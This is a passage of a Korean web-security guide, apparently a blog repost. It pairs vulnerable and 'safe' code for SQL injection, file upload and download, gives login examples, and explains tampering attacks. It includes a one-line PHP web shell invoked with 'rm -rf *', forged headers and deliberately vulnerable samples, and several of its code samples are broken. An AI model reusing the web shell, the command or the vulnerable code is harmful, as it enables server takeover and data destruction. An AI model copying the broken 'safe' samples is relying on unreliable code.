  1. String sql = "SELECT * FROM user_table" + " WHERE id = " + response.getParameter("id") + " AND password = " + response.getParameter("password");
  2. Class.forName("org.gjt.mm.mysql.Driver");
    conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
  3. stmt = conn.createStatement();
    rs = stmt.executeQuery(query);
  4. while(rs.next())

안전한 SQL Injection 예제
  1. String sql = "SELECT * FROM user_table" + " WHERE id = ?" + " AND password = ?";
    ResultSet rs = null;
    PreparedStatement pstmt = null;
    try
    conn = DBManager.getConnection();
    pstmt = conn.prepareStatement(sql);
  2. pstmt.setString(1, request.getParameter("id"));
    pstmt.setString(2, request.getParameter("password"));
  3. rs = pstmt.executeQuery();

3장 7절 업로드 취약점 - 소스


□ ASP

취약한 파일 업로드 예
  1. <%
    Set Up = Server.CreateObject("SiteGalaxyUpload.Form")
  2. uploadPath = server.mappath(".") & "\upload\"' 업로드 디렉토리
  3. Fname = Up("file1")
    if Fname <> "" then'파일 첨부가 되었으면
    fileName=Mid(Fname,InstrRev(Fname,"\")+1)'파일이름부분 추출
    savePath = uploadPath & fileName
  4. Set fso = CreateObject("Scripting.FileSystemObject")
    Up("file1").SaveAs(savePath)
    response.write(savePath & " 저장 완료")
    else
    response.write("Error")
    end if
  5. Set Up = nothing
    %>

안전한 파일 업로드 예
  1. <%
    Set Up = Server.CreateObject("SiteGalaxyUpload.Form")
    Path1 = server.mappath(".") & "\upload\"
  2. Fname = Up("file1")
  3. if Fname <> "" then'파일 첨부가 되었으면
  4. if Up("file1").Size > 10240 then' 용량 제한
    Response.Write "용량 초과"
    Response.End
    end if
  5. if Up("file1").MimeType <> "image" then' 이미지만 업로드 허용
    Response.Write "이미지 파일이 아닙니다."
    Response.End
    end if
  6. Filename=Mid(Fname,InstrRev(Fname,"\")+1)'파일이름부분 추출
  7. ' 중복시에 파일이름부분을 변경하기 위해 분리를 한다
    Farry=split(Filename,".")'.을 기준으로 분리
    preFname=Farry(0)'파일이름 앞부분
    extFname=Farry(1)'파일의 확장자
  8. ' 저장할 전체 path를 만든다, 파일이름을 구한다
    Path2 = Path1 & Filename
    saveFname=preFname & "." & extFname

  9. Set fso = CreateObject("Scripting.FileSystemObject")
    countNo = 0' 파일 중복될경우 셋팅 값
    fExist=0' 같은 이름의 파일 존재 체크
  10. Do until fExist = 1
    If(fso.FileExists(Path2)) Then
    countNo = countNo + 1
    Path2 = Path1 & preFname & countNo & "." & extFname
    saveFname=preFname & countNo & "." & extFname
    else
    fExist=1
    End If
    Loop
  11. Up("file1").SaveAs(Path2)
    response.write(saveFname & " 저장완료")
    else
    response.write("Error")
    end if
  12. Set Up = nothing
    %>

□ PHP

취약한 파일 업로드 예
  1. <?php
    $uploaddir = '/var/www/uploads/';
  2. $uploadfile = $uploaddir. $_FILES['userfile']['name'];
  3. if(copy($_FILES['userfile']['tmp_name'], $uploadfile))
    print "성공적으로 업로드 되었습니다.";
    print_r($_FILES);
    else
    print "파일 업로드 실패";
    print_r($_FILES);
  4. ?>

안전한 파일 업로드 예
  1. <?php
    $uploaddir = '/var/www/uploads/';
  2. //파일 사이즈가 0byte 보다 작거나 최대 업로드 사이즈보다 크면 업로드를 금지 시킨다.
    if($_FILES['userfile']['name'])
    if($_FILES['userfile']['size'] <= 0)  // 최대 업로드 사이즈 체크 삽입
    print "파일 업로드 에러";
    exit;
  3. //파일 이름의 특수문자가 있을 경우 업로드를 금지 시킨다.
    if (eregi("[^a-z0-9\._\-]",$_FILES['userfile']['name']))
    print "파일 이름의 특수문자 체크";
    exit;
  4. //파일 확장자중 업로드를 허용할 확장자를 정의한다.
    $full_filename = explode(".", $_FILES['userfile']['name']);
    $extension = $full_filename[sizeof($full_filename)-1];
  5. /* PHP의 경우 확장자 체크를 할 때 strcmp(확장자,"php3"); 로 체크를 하게 되면
    pHp3 이나 phP3는 구별을 하지 못하게 되므로 strcasecmp처럼 대소문자 구별을 하지
    않고 비교하는 함수를 사용한다. 또한 .를 기준으로 하여 확장자가 하나로 간주하고
    프로그램을 할 경우 file.zip.php3 이라고 올린다면 zip파일로 인식하고 그냥 첨부가
    되므로 아래와 같이 제일 끝에 존재하는 확장자를 기준으로 점검하도록 한다. */
  6. $extension= strtolower($extension);
    if (!( ereg($extension","hwp") || ereg($extension","pdf") || ereg($extension","jpg")) )
    print "업로드 금지 파일 입니다";
    exit;

  7. $uploadfile = $uploaddir. $_FILES['userfile']['name'];
    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
    print "파일이 존재하고, 성공적으로 업로드 되었습니다.";
    print_r($_FILES);
    else
    print "파일 업로드 공격의 가능성이 있습니다! 디버깅 정보입니다:\n";
    print_r($_FILES);
  8. ?>

□ JSP

취약한 파일 업로드 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="com.oreilly.servlet.MultipartRequest,com.oreilly.servlet.multipart.DefaultFileRenamePolicy, java.util.*"%>
    <%
    String savePath="/var/www/uploads";// 업로드 디렉토리
    int sizeLimit = 5 * 1024 * 1024 ;// 업로드 파일 사이즈 제한
  2. try
    MultipartRequest multi=new MultipartRequest(request, savePath, sizeLimit, new DefaultFileRenamePolicy());
    Enumeration formNames=multi.getFileNames();// 폼의 이름 반환
    String formName=(String)formNames.nextElement();
    String fileName=multi.getFilesystemName(formName);// 파일의 이름 얻기
  3. if(fileName == null)
    out.print("Error");
     else
    fileName=new String(fileName.getBytes("8859_1"),"euc-kr");
    out.print("User Name : " + multi.getParameter("userName") + "<BR>");
    out.print("Form Name : " + formName + "<BR>");
    out.print("File Name  : " + fileName);

  4.  catch(Exception e)
    out.print("Error");
     
    %>

안전한 파일 업로드 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="com.oreilly.servlet.MultipartRequest,com.oreilly.servlet.multipart.DefaultFileRenamePolicy, java.util.*"%>
    <%
    String savePath="/var/www/uploads";// 업로드 디렉토리
    int sizeLimit = 5 * 1024 * 1024 ; // 업로드 파일 사이즈 제한
  2. try
    MultipartRequest multi=new MultipartRequest(request, savePath, sizeLimit, "euc-kr", new DefaultFileRenamePolicy());
    Enumeration formNames=multi.getFileNames();  // 폼의 이름 반환
    String formName=(String)formNames.nextElement();
    String fileName=multi.getFilesystemName(formName); // 파일의 이름 얻기
  3. String file_ext = fileName.substring(fileName.lastIndexOf('.') + 1);
    if(!( file_ext.equalsIgnoreCase("hwp") || file_ext.equalsIgnoreCase("pdf") || file_ext.equalsIgnoreCase("jpg")) )
    out.print("업로드 금지 파일");

  4. if(fileName == null)
    out.print("파일 업로드 실패");
     else
    fileName=new String(fileName.getBytes("8859_1"),"euc-kr"); // 한글인코딩
    out.print("File Name  : " + fileName);
  5.  catch(Exception e)


3장 8절 다운로드 취약점 - 소스


□ ASP

취약한 파일 다운로드 예
  1. <%
    file = Request.Form ("file")'파일 이름
  2. Response.ContentType = "application/unknown"'ContentType 선언
    Response.AddHeader "Content-Disposition","attachment; filename=" & file
  3. Set objStream = Server.CreateObject("ADODB.Stream")'Stream 이용
  4. objStream.Open
    objStream.Type = 1
    objStream.LoadFromFile Server.MapPath("./upfiles/")&"\"& file '서버 절대경로
  5. download = objStream.Read
    Response.BinaryWrite download
  6. Set objStream = nothing'객체 초기화

안전한 파일 다운로드 예제
  1. <%
    file = Request.Form ("file")'파일 이름
  2. Response.ContentType = "application/unknown"'ContentType 선언
    Response.AddHeader "Content-Disposition","attachment; filename=" & file
  3. Set objStream = Server.CreateObject("ADODB.Stream")'Stream 이용
  4. strFile = Server.MapPath("./upfiles/") & "\" & file '서버 절대경로
    strFname=Mid(Fname,InstrRev(file,"\")+1) '파일 이름 추출, ..\ 등의 하위 경로 탐색은 제거 됨
    strFPath = Server.MapPath("./upfiles/") & "\" & strFname '웹서버의 파일 다운로드 절대 경로
  5. If strFile = strFPath Then'사용자가 다운 받는 파일과 웹서버의 파일 다운로드 경로가 맞는지 비교
    objStream.Open
    objStream.Type = 1
    objStream.LoadFromFile strFile
  6. download = objStream.Read
    Response.BinaryWrite download
    End If
    Set objstream = nothing'객체 초기화
    %>

□ PHP

취약한 파일 다운로드 예
  1. $dn_path = "/var/www/data/$up_dir/$dn_file_name";
  2. //파일 전송 루틴
    header("Content-Type: doesn/matter");
    header("Content-Length: ".filesize("$dn_path"));
    header("Content-Disposition: filename=".$dn_file_name]);
    header("Content-Transfer-Encoding: binary\r\n");
    header("Pragma: no-cache");
    header("Expires: 0");

안전한 파일 다운로드 예
  1. if (preg_match("/[^a-z0-9_-]/i",$up_dir))
    print "디렉토리에 특수문자 체크";
    exit;
  2. if (preg_match("/[^\xA1-\xFEa-z0-9._-]|\.\./i",urldecode($dn_file_name)))
    print "파일이름에 특수문자 체크";
    exit;
  3. $dn_path = "/var/www/data/$up_dir/$dn_file_name";
    if (!file_exists($dn_path))
    print "파일이 존재여부 체크";
    exit;
  4. //파일 전송 루틴
    header("Content-Type: doesn/matter");
    header("Content-Length: ".filesize("$dn_path"));
    header("Content-Disposition: filename=".$dn_file_name]);
    header("Content-Transfer-Encoding: binary\r\n");
    header("Pragma: no-cache");
    header("Expires: 0");

□ JSP

취약한 파일 다운로드 예
  1. String UPLOAD_PATH= "/var/www/upload/";
    String filename= response.getParameter("filename");
    String filepathname = UPLOAD_PATH + filename;
  2. // 파일 전송 루틴
    response.setContentType("application/unknown; charset=euc-kr");
    response.setHeader("Content-Disposition","attachment;filename=" + filename + ";");
    response.setHeader("Content-Transfer-Encoding:" , "base64");
  3. BufferedInputStream in = new BufferedInputStream(new FileInputStream(filepathname));

안전한 파일 다운로드 예
  1. String UPLOAD_PATH= "/var/www/upload/";
    String filename= response.getParameter("filename");
    String filepathname = UPLOAD_PATH + filename;
  2. if(filename.equalsIgnoreCase("..") || filename.equalsIgnoreCase("/"))
    // 파일 이름 체크
    return 0;
  3. // 파일 전송 루틴
    response.setContentType("application/unknown; charset=euc-kr");
    response.setHeader("Content-Disposition","attachment;filename=" + filename + ";");
    response.setHeader("Content-Transfer-Encoding:" , "base64");
  4. try
    BufferedInputStream in = new BufferedInputStream(new FileInputStream(filepathname));
    .........
    catch(Exception e)
    // 에러 체크 [파일 존재 유무등]

[부록1] 개발 언어별 로그인 인증 프로세스 예제


1. ASP 예제
 가. login.html

  1. <html>
    <head>
    <title> Login </title>
    <script>
    function check_submit()
    if(!login.user_id.value)
    alert("아이디를 입력하세요");
    login.user_id.focus();
    return false;
  2. if(!login.password.value)
    alert("아이디를 입력하세요");
    login.password.focus();
    return false;
  3. return true;
  4. </script>
    </head>
    <body>
    <form method=post action=login.asp onsubmit="return check_submit();" name=login>
    <TABLE border=0>
    <TR>
    <TD>아이디</TD>
    <TD><input type=text name="user_id" value="" maxlength=12 size=19></TD>
    </TR>
    <TR>
    <TD>패스워드</TD>
    <TD><input type=password name="password" value="" maxlength=12 size=19><input type=submit value="login"></TD>
    </TR>
    </TABLE>
    </form>
    </body>
    </html>

나. login.asp

  1. <% Option Explicit %>
    <%
    Dim user_id, password
    user_id = Request.Form("user_id")' 사용자로부터 입력 받은 아이디
    password = Request.Form("password")' 사용자로부터 입력 받은 패스워드
  2. If UserAuth(user_id, password) <> 1 Then
    Response.redirect("/login.html")' 인증 실패시 인증 페이지로 Redirect
    Else
    If Session("logged_in") <> 1 Then' 인증된 사용자 인지 체크
    Session("logged_in") = 1' 인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Session("user_id") = user_id' 사용자 ID 저장
    Session("user_ip") = Request.Servervariables("REMOTE_ADDR")' IP 저장
    End If
    Response.redirect("/main.asp")' 인증 성공시 Main 페이지로 Redirect
    End If
    %>
  3. <%
    Function stripQuotes(strWords)
    stripQuotes = replace(strWords, "'", "''")' 특수문자 제거
    End Function
  4. Function UserAuth(user_id, user_pwd)' 사용자 인증
    Dim objConn, objRs
    Dim strConnection, strQuery
  5. Set objConn = Server.CreateObject("ADODB.Connection")
    Set objRs = Server.CreateObject("ADODB.RecordSet")
  6. ' DB 연결 정보, 별도의 헤더 파일로 관리하여 INCLUDE
    strConnection = "DSN=MEMBER;uid=DBUSER;pwd=DBPASSWD"
  7. On Error Resume Next' 에러가 생길경우
    objConn.Open strConnection
    objRs.ActiveConnection = objConn
  8. strQuery = "SELECT * FROM user_tbl WHERE user_id= '" &_
    stripQuotes(user_id) & "' AND password='" &_
    stripQuotes(user_pwd) & "'"
    objRs.Open strQuery
  9. If objRs.BOF or objRs.EOF Then' 올바른 사용자를 찾지 못했을경우
    UserAuth = 0
    Else
    UserAuth = 1
    End If
  10. objRs.Close' DB 연결 해제
    Set objRs = Nothing
    objConn.Close
    Set objConn = Nothing
    End Function

다. main.asp

  1. <%
    If Session("user_ip") = Request.Servervariables("REMOTE_ADDR") AND Session("logged_in") = 1 Then
    Response.Write Session("user_id") & "님은 " & Session("user_ip") & "에서 접속하셨습니다."
    '인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    '... 중략 ...
    Else
    Response.write "허가되지 않은 사용자 입니다."
    End If
    %>

2. PHP

가. login.html

  1. <html>
    <head>
    <title> Login </title>
    <script>
    function check_submit()
    if(!login.user_id.value)
    alert("아이디를 입력하세요");
    login.user_id.focus();
    return false;
  2. if(!login.password.value)
    alert("아이디를 입력하세요");
    login.password.focus();
    return false;
  3. return true;
  4. </script>
    </head>
    <body>
    <form method=post action=login.php onsubmit="return check_submit();" name=login>
    <TABLE border=0>
    <TR>
    <TD>아이디</TD>
    <TD><input type=text name="user_id" value="" maxlength=12 size=19></TD>
    </TR>
    <TR>
    <TD>패스워드</TD>
    <TD><input type=password name="password" value="" maxlength=12 size=19><input type=submit value="login"></TD>
    </TR>
    </TABLE>
    </form>
    </body>
    </html>

나. login.php

  1. <?PHP
    @session_cache_limiter('nocache');
    @session_start(); //세션 데이터를 초기화
  2. // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!UserAuth($_POST['user_id'],$_POST['password'])) //DB 에서 사용자 인증 처리하는 부분
                    header("Location: login.html");
                    exit;//인증 실패시 종료
  3. //인증에 성공한 경우 처리 해야 되는 부분
    if (!session_is_registered("logged_in"))
  4. $logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    $user_id = $_POST["user_id"];
    $user_ip = $_SERVER["REMOTE_ADDR"];
    session_register("logged_in");//인증 결과 저장
    session_register("user_id");//사용자 ID를 저장
    session_register("user_ip");//사용자 IP를 저장
  5. header("Location: main.php");
    ?>
    <?PHP
    function UserAuth($userid, $userpwd)
    $connect = mysql_connect("localhost","DBUSER","DBPASSWD");
    mysql_select_db("MEMBER");
  6. $strQuery = "SELECT * FROM user_tbl WHERE user_id ='" . addslashes($userid) . "' AND password='" . addslashes($userpwd) . "'";
    $result = @mysql_query($strQuery);
    if($result)
    if(mysql_num_rows($result))
    $data = mysql_fetch_array($result);
    $userLevel = $data["level"];
    @mysql_free_result($result);
    @mysql_close($connect);
    return 1;
  7. return 0;
    @mysql_close($connect);
    return 0;
    ?>

다. main.php

  1. <?PHP
    @session_start();
    if(strcmp($_SESSION['user_ip'], $_SERVER['REMOTE_ADDR']) == 0 && session_is_registered('logged_in'))
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //... 중략 ...
    echo $_SESSION['user_id'] . "님은 " . $_SESSION['user_ip'] . "에서 접속하셨습니다.";
    else
    echo "허가되지 않은 사용자 입니다.";
    exit;
  2. ?>

3. JSP

가. login.html

  1. <html>
    <head>
    <title> Login </title>
    <script>
    function check_submit()
    if(!login.user_id.value)
    alert("아이디를 입력하세요");
    login.user_id.focus();
    return false;

  2. if(!login.password.value)
    alert("아이디를 입력하세요");
    login.password.focus();
    return false;
  3. return true;
  4. </script>
    </head>
    <body>
    <form method=post action=login.jsp onsubmit="return check_submit();" name=login>
    <TABLE border=0>
    <TR>
    <TD>아이디</TD>
    <TD><input type=text name="user_id" value="" maxlength=12 size=19></TD>
    </TR>
    <TR>
    <TD>패스워드</TD>
    <TD><input type=password name="password" value="" maxlength=12 size=19><input type=submit value="login"></TD>
    </TR>
    </TABLE>
    </form>
    </body>
    </html>

나. login.jsp

  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.sql.* " %>
  2. <%
    String DB_URL = "jdbc:mysql://127.0.0.1/MEMBER";// DB 연결 정보, 별도의 헤더 파일로 관리하여 INCLUDE
    String DB_USER = "DBUSER";
    String DB_PASSWORD= "DBPASSWD";
  3. //HttpSession session = request.getSession(true);// Servlet 의 경우만 추가
    String user_ip = request.getRemoteAddr();// 연결된 사용자의 IP 획득
    String user_id = null;
  4. Connection conn;
    PreparedStatement pstmt = null;
    ResultSet rs = null;
  5. try
    Class.forName("org.gjt.mm.mysql.Driver");// 드라이버 등록
    conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);// DB연결
    String query = "SELECT * FROM user_tbl WHERE user_id = ? AND password = ?";
    pstmt = conn.prepareStatement(query);
  6. pstmt.setString(1, request.getParameter("user_id"));// 사용자 입력값 전달
    pstmt.setString(2, request.getParameter("password"));
  7. rs = pstmt.executeQuery();
    if(rs.next())
    user_id = rs.getString(1);// DB에서 사용자 정보 획득

  8. if(user_id != null)
    if(session.getValue("logged_in") != "1")  // 인증된 사용자 인지 체크
    session.putValue("logged_in", "1");// SESSION에 사용자 정보 기록
    session.putValue("user_id", user_id);
    session.putValue("user_ip", user_ip);
  9. //LogSave(user_id, user_ip);// 인증에 성공한 사용자 정보 기록
  10. response.sendRedirect("/main.jsp");// 인증 성공시 Main 페이지로 Redirect
    else
    response.sendRedirect("/login.html");// 인증 실패시 인증 페이지로 Redirect
  11. catch(Exception ex) // 에러처리
    out.println(ex);
    finally // DB연결 종료
    if(rs != null) try rs.close(); catch(SQLException ex)
    if(pstmt != null) try pstmt.close(); catch(SQLException ex)
  12. %>

나. main.jsp

  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
  2. <%
    //HttpSession session = request.getSession(true);
  3. if(session.getValue("user_ip") == request.getRemoteAddr() && session.getValue("logged_in") == "1")
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //...
    out.println(session.getValue("user_id") + " 님은 " + session.getValue("user_ip") + " 에서 접속하셨습니다.");
    //... 중략 ...
    else
    response.sendRedirect("/login.html");// 인증 실패시 인증 페이지로 Redirect
  4. %>



출처 :ㅣ http://dozob.springnote.com/pages/1472316

Posted by 1010
90.개발관련문서2009. 10. 5. 22:09
반응형
"인터넷은 웹이다."라고 할 수 있을 정도로 웹은 인터넷의 커다란 부분을 차지합니다. 실제로 비전공자에게는 "인터넷 == 웹" 으로 통하는 경우도 많습니다. 어떠한 운영체제도 기본적으로 웹 브라우져를 제공하며, 심지어 새롭게 출시되는 모바일 장치도 웹 브라우져를 지원하지 않고는 사용자들에게 어필할 수 없을 정도로 웹에대한 의존도가 매우 커졌습니다. 그래서 각종 금융서비스, 국가 전산 그리고 전자상거래등이 웹을 통해 서비스 됩니다. 별도의 클라이언트를 개발하여 서비스해도 되지만, 사용자에게 친숙한 사용 방법을 제공할 수 있으며, 웹 서비스를 이용하면 새로운 프로그램을 설치해야 하는 수고로움을 덜 수 있기 때문에 웹을 통해 서비스 하고 있는 것입니다.

그래서 지난 10년간 인터넷이 성장하는 동안, 웹 보안의 중요성이 매우 크게 증가 하였습니다. 이것은 해킹/보안 분야에서의 정설인 "서비스의 전산에대한 의존도가 커질수록 보안 위협도 비례해서 커진다"라는 공식이 적용되기 때문입니다. 실제로 지금도 수많은 웹사이트가 국경을 넘어서 수많은 해커들에게 공격받고 있습니다. 그 피해는 하나의 웹 사이트의 보안 사고가 사회 전체에 영향을 끼칠 정도로 큽니다.

웹은 일반 시스템에 비해 보안에 취약합니다. 그 이유는 웹 프로그래밍이 매우 쉽고 누구나 접근 가능한 것을 목적으로 설계되었기 때문에 일반인들도 몇일만 공부하면 그럴싸한 웹 사이트를 뚝딱 만들어낼 수 있기 때문입니다. 왜 만들기 쉬운것이 보안에 문제가 되는가? 라는 질문에 대한 답변은, "모든 해킹은 프로그래머의 실수에 그 기반을 두기 때문입니다." 라고 할 수 있겠습니다. 즉, 고도의 훈련된 전문가가 만드는 프로그램은 실수가 적기 때문에, 해킹 당할 확률이 적은 반면 그렇지 않은 사람이 만드는 프로그램에는 실수가 많아 해킹 당할 확률이 높아진다고 할 수 있는 것입니다.

그래서 웹 해킹 방법을 분류하여 설명하고, 어떤 실수가 해킹 사고로 이어지는지 그리고 어떻게 해결할 수 있는지 설명하도록 하겠습니다. 소개드리는 해킹 방법은 그 원리를 설명하기 위한 예시이지만, 지금도 벌어지고 있는 실제 해킹 사고 중 거의 대부분은, 소개시켜드리는 원리와 약간의 응용으로 작동한다는 것 꼭 명심하시기 바랍니다.

다음은 웹 해킹의 종류를 방식에 따라 나열한 것입니다. 이 웹 해킹 종류를 모두 소개해드리도록 하겠습니다. 참고로 본 문서에서 정의하는 "웹 어플리케이션"이라는 용어는 서버 사이드에서 동작하는 PHP, JSP 그리고 ASP와 같은 어플리케이션을 말합니다. 즉, 사용자와 웹 서버 사이에서 정보를 입력 받고 가공하여 출력해주는 역할을 하는 어플리케이션을 지칭하는 것 입니다.

  • Injecting Malicious Data
    • Parameter Tampering
    • URL Tampering
    • Hidden Field Manipulation
    • HTTP Header Manipulation
    • Cookie Poisoning
    • Executable File Upload
  • Exploting Unchecked Input
    • SQL Injection
    • Cross-site Scripting
    • HTTP Response Splitting
    • Path Traversal
    • Commnad Injection

1. Injecting Malicious Data

Injecting Malicious Data는 웹 어플리케이션에 조작된 데이터를 입력하여 공격하는 것입니다. 예를 들어 웹을 기반으로 경품행사를 하는데 랜덤하게 발생되는 경품 당첨 번호를 자신이 인위적으로 조작하여 입력하는 것 같은것을 말하는 것입니다. 한가지씩 살펴보며 이해를 돕도록 하겠습니다.

1.1. Parameter Tampering

Parameter Tampering 공격은 웹 어플리케이션에서 사용하는 파라메터(매개변수, Parameter)를 강제로 입력하여 어플리케이션의 의도대로 동작하지 않게 하는 공격입니다. 예를 들어 다음과 같은 코드가 있다고 가정합니다.

[HTML code]
<script> var form = document.Login;
id(!form.id.value)
{
return false;
}
</script>

[Java code]
String strID = request.getParameter("id");

위 코드의 원래 의도는 사용자가 id 에디트박스가 빈칸이 될 수 없도록 하는 것입니다. 하지만 위 코드는 HTML 파일을 PC에 따로 저장해서 저 스크립트를 빼버리는 것 만으로 의도를 빚겨나갈 수 있습니다. 이런 공격을 해결하기 위해서는 Java script에서 아이디 필드가 비었는지 체크하는 것이 아니고, 서버사이드에서도 id 파라메터가 비어있는지 체크해야 합니다.

전자 상거래 초창기에는 위와 같은 사례가 많았습니다. 예를 들어 상품을 보여주는데 상품 가격을 Read-only 속성이 있는 에디트박스에 넣고 서버사이드에서는 해당 에디트 박스에서 값을 읽어와 사용자의 포인트를 차감하면서 상품을 배송해주었던 사례도 있습니다. 이것은 에디트박스의 Read-only 속성만을 제거하면 10원으로 100,000원 짜리 물건을 살 수 있었다는 것을 의미합니다.

요즘에 이런 실수를 하는 곳은 거의 없지만, 급하게 만들어진 매우 큰 사이트에서는 아직도 저런 코드가 종종 보이기도 합니다.

1.2.  URL Tampering

URL Tampering은 URL로 중요한 데이터를 보내는 경우에 이를 조작하여 공격자가 의도하는대로 동작을 바꾸는 것 공격 방식 입니다.

[정상적인 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=1000

[공격 URL]
http://www.bank.com/myaccount?Sender=Attacker&Receiver=Attacker2&DebitAmount=-5000

위 예제는 정상적인 URL이 실행되면 Attacker라는 ID에서 1000 포인트를 차감하여 Attacker2라는 사용자에게 1000 포인트를 전송한다고 가정합니다. 이때 Attacker가 위 URL을 -5000이라고 바꾸어 실행하면 어떻게 될까요? 분명 내부적으로는 다음과 같은 코드가 동작할 것입니다.

Attacker.Point -= DebitAmount;
Attacker2.Point += DebitAmount;

-5000이라는 입력은 위 코드에 들어가서 반대로 Attacker2에서 -5000을 빼고, 공격자 본인에게 +5000을 하게 될 것입니다. 이런 공격 방식 또한 대부분 인지하고있어서 위와 같은 문제가 발생하지 않게 하고 있습니다. 하지만 중요한것은 실수라는 것입니다. 위와 같은 공격에대해 확실한 인지 없이, 수많은 코드를 작성하다보면 한두가지 필드에서 실수를 하게 되는 경우가 있습니다. 해커는 그런 빈틈을 이용해 큰 결과를 얻어내곤 합니다.

URL Tampering을 막기 위해서는, 우선 GET 방식으로 중요한 데이터를 주고 받지 말아야 하겠고, 그 후에 서버사이드에서 넘어오는 모든 값을 일일히 체크해야 할 것입니다. 위와 같은 코드에서 DebitAmount에 마이너스 값이 들어오면 경고를 하고 코드가 동작하지 않도록 해야 겠습니다.

마이너스 값 입력 문제는, 예전에 어떤 온라인 게임상에서 송금 기능을 이용할때 같은 문제가 있었습니다. 마이너스 값 입력 문제는 특히 더욱 조심해야 할것입니다.

다음 중, 하 편에서 나머지 웹 해킹 원리를 마져 다루도록 하겠습니다.


---------------------------------------------------------------

1.3. Hidden Field Manipulation

Hidden Field Manipulation 공격은 웹 페이지가 Hidden 태그를 이용하여 값을 웹 어플리케이션으로 전달하는 방법을 이용하는 공격입니다. 본 공격 또한 마찬가지로 웹 페이지를 로컬에 저장한 후 태그 값을 수정하여 실행하는 것 많으로도 공격이 가능합니다. 최근에 나오는 브라우져는 브라우져에서 바로 값을 수정하여 실행시킬 수 있기 때문에 더욱 공격이 쉬워집니다.

실제 코드를 예로 들어 살펴보면 공격은 다음과 같이 이루어 집니다.


[정상적인 HTML 코드]
<input type="hidden" name="price" value="100000">

[수정한 HTML 코드]
<input ytpe="hidden" name="price" value="10">

HTML에서 웹 어플리케이션으로 값을 전달할 때, 프로그래머가 귀찮아서 또는 그리 중요하지 않은 정보라고 생각되어서 위와 같이 처리하는 경우가 많이 있습니다. 하지만 모든 해킹은 중요하지 않은 정보를 조작하므로서 중요한 정보에 영향을 주는 방법으로 이루어진다는 것을 명심해야 하겠습니다. 이 공격을 해결하지 위해서는 아무리 중요하지 않은 정보라도 Hidden 태그로 처리하기 보다는 서버사이드에서 DB와 연동하여 직접 처리해야 합니다.

1.4. HTTP Header Manipulation

HTTP Header Manipulation은 웹 어플리케이션이 HTTP 헤더의 정보를 이용할 때, 이를 조작하여 웹 어플리케이션이 오동작 하도록 유인하는 공격 방식입니다. 예를 들어 A 사이트를 통해서 B 사이트로 들어오는 정보를 특별하게 처리하기 위해 HTTP Header의 Referer 필드를 이용하는 경우가 있는데 이것은 충분히 조작이 가능합니다.

[HTTP Header]
Get Shell.php
RERFERER http://trust.com

B 사이트에서 Shell.php 요청 명령을 받았을 때, 위 박스에 있는 헤더 처럼 trust.com 사이트를 통해 들어온 명령이면 처리하고 그렇지 않으면 거부하는 코드가 있다고 가정했을 때, 이것은 Victim.com에서도 Header만 변경해서 충분히 수행할 수 있습니다.  이 공격을 방어하기 위해서는 HTTP Header를 신뢰하지 않아야 합니다.

1.5. Cookie Poisoning

Cookie Poisioning은 Cookie를 조작하여 원하는 결과를 도출해 낼 때 사용합니다. Cookie란 웹 사이트의 특정 정보를 저장하는 기법으로 사용자의  PC나 장치에 저장되며 서버에도 저장될 수 있습니다. 보통 Cookie에는 사용자의 정보를 많이 저장하는데 물건을 구매하거나 메일을 보낼 때 Cookie를 사용한다면 이를 조작하여 다른 결과를 도출해 낼 수 있습니다.

[Cookie.txt]
ID=Victim SessionID=102

[Web application]
GetCookie(ID)->Point -= 100000;
GetCookie(ID)->BuyProduct("컴퓨터");

위 예제는 사용자의 정보를 쿠키에 저장한 후, 물건을 구매할 때 서버에서 이 정보를 불러와서 물건을 결제하는 코드입니다. 이때 사용자의 ID는 사용자의 PC에 있는 쿠키에 저장되어 있으므로 이 쿠키를 조작한다면 내가 원하는 사람에게 결제를 하면서 나에게 배송되게 할 수 있는 것입니다. 이를 해결하기 위해서는 세션을 이용하고, 모든 중요한 정보는 서버사이드에서 처리해야 합니다.

1.6. Executable File Upload

웹 서버에서 실행될 수 있는 파일(PHP, JSP, ASP 등)을 업로드하여 원하는 코드를 실행시키는 공격 방법입니다. 웹 초창기에 굉장히 유행했던 공격 방식이였습니다. 웹 초기에는 보안에 큰 신경을 쓰지 않아서, 대부분의 게시판에 실행 가능한 파일이 업로드 되었었습니다.

[Hack.php]
passthru($cmd)

만약 PHP가 동작하는 웹 사이트에 Hack.php 파일이 없로드 된다면 http://victim.com/Hack.php?cmd="rm -rf *" 와 같은 URL에 접근하여 웹 서버 내부에 침투할 수 있게 됩니다. cmd에 넣는 모든 쉘 명령어를 웹서버가 처리하게 되는 것이죠. 최근에는 이 공격은 거의 통하지 않습니다. 워낙에 고전적인 방식이라 대부분이 PHP, JSP, ASP 등의 파일이 업로드 되는 것을 막기 때문입니다. 하지만 워낙 고전이라는 것에 헛점이 있어서 모두가 안심하고 있을 때, 몇년전에 Apache 서버의 버그로 이 공격이 일파만파 다시 시도되었었습니다. 그것은 Apache의 기능 중 접속 국가별로 다른 페이지를 보여주기 위해 .kr, .jp 와 같은 확장자를 사용하는 옵션이 있었는데, 서버사이드에서는 끝의 확장자가 .php만 막을 뿐이였고, 아파치는 .php.kr 또한 php 파일로 처리했던 것이죠. 불과 이삼년전의 일입니다. 또 이런식의 버그가 항상 도사리고 있다는 것 명심하시기 바랍니다.

다음 하편에서는 Exploiting Unchekced Input의 해킹 방법을 모두 알아보도록 하겠습니다.



--------------------------------------------------------------------------------

2.1. SQL Injection
SQL injection 은 사용자의 입력이 back-end database에 바로 전달 될 때, 입력에 sql문을 넣어서 DB를 조작할 수 있는 매우 치명적인 공격 방법입니다.











[Web application]
strID = request.getParameter("id");
strPassword = request.getParameter("password");
